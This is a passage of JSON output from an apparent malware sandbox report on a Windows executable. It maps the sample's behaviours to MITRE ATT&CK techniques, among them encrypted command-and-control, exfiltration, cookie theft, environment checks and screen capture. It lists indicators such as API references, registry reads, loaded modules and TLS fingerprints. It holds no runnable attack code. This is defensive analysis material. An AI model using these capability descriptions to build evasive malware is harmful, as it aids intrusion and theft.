artifacts"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; File: \"bounty-54562402545397328\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00007132.00000000.163918.028D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.41124433989504","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"bounty-54562402545397328.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00007132)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"\"bounty-54562402545397328.exe\" called \"RtlGetVersion\" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007132)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"bounty-54562402545397328.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"tlGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00007132.00000000.163918.028D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"bounty-54562402545397328.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"bounty-54562402545397328.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007132)\n \"bounty-54562402545397328.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007132)\n \"bounty-54562402545397328.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007132)\n \"bounty-54562402545397328.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00007132)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$28","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\"bounty-54562402545397328.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0\" at base 75cc0000\n \"bounty-54562402545397328.exe\" loaded module \"API-MS-WIN-CORE-FIBERS-L1-1-1\" at base 75cc0000\n \"bounty-54562402545397328.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-L1-2-1\" at base 75cc0000\n \"bounty-54562402545397328.exe\" loaded module \"KERNEL32\" at base 73e00000\n \"bounty-54562402545397328.exe\" loaded module \"%WINDIR%\\TEMP\\VXOLE32.DLL\" at base 73010000\n \"bounty-54562402545397328.exe\" loaded module \"EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL\" at base 73e00000","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"bounty-54562402545397328.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 75AE0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"bounty-54562402545397328.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 73F30000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"bounty-54562402545397328\" was detected as \"PureBasic\" and name: \"Compiler\"\n \"bounty-54562402545397328\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"bounty-54562402545397328\" has an executable section named \".code\"\n \"bounty-54562402545397328\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"bounty-54562402545397328\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"bounty-54562402545397328\" file has an entrypoint instructions - \"push\t0x8c0,push\t0,push\t0x408540,call\t0x404010,add\tesp, 0xc,push\t0,call\t0x404016,mov\tdword ptr [0x408544], eax,push\t0,push\t0x101,push\t0,call\t0x40401c,mov\tdword ptr [0x408540], eax,call\t0x405c60,call\t0x405b19,call\t0x40550c,call\t0x404be0,call\t0x40496a,push\t0x408de0,push\t0,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"bounty-54562402545397328.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"WerFault.exe\" with commandline \"-pss -s 448 -p 7132 -ip 7132\" (UID: 00000000-00000408)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 7132 -s 388\" (UID: 00000000-00005052)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 7132 -s 388\" (UID: 00000000-00004416)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"WerFault.exe\" with commandline \"-pss -s 448 -p 7132 -ip 7132\" (UID: 00000000-00000408)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 7132 -s 388\" (UID: 00000000-00005052)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 7132 -s 388\" (UID: 00000000-00004416)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"bounty-54562402545397328\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$29","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"bounty-54562402545397328.exe\" queries basic process information of the \"C:\\bounty-54562402545397328.exe\" (UID: 7132)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$2b","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"\"bounty-54562402545397328.exe\" trying to access non-existent file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"bounty-54562402545397328.exe\" trying to access non-existent file \"C:\\FLTLIB.DLL\"\n \"bounty-54562402545397328.exe\" trying to access non-existent file \"C:\\CRYPTSP.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://www.w3.org/2001/xmlschema-instance\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://assets.msn.com/service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"bounty-54562402545397328.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileSize\" (Indicator: \"GetFileSize\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: bounty-54562402545397328]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"bounty-54562402545397328\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"},{"report_type":"sandbox","report_id":"674ce47888ef3e794b09f722"},{"report_type":"sandbox","report_id":"674ce4725ee602e7be0ef4cc"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"bounty-54562402545397328.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"674ce466695c8c199603d920"},{"report_type":"sandbox","report_id":"674ce47ed2d34f59f4078b29"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"bounty-54562402545397328.exe\" queried SystemProcessInformation at 00000000-00007132-00000C13-1551641595 [PID: 7132]\n \"bounty-54562402545397328.exe\" queried SystemProcessInformation at 00000000-00007132-00000C13-1551657738 [PID: 7132]\n \"bounty-54562402545397328.exe\" queried SystemProcessInformation at 00000000-00007132-00000C13-1551944987 [PID: 7132]\n \"bounty-54562402545397328.exe\" queried SystemProcessInformation at 00000000-00007132-00000C13-1551955965 [PID: 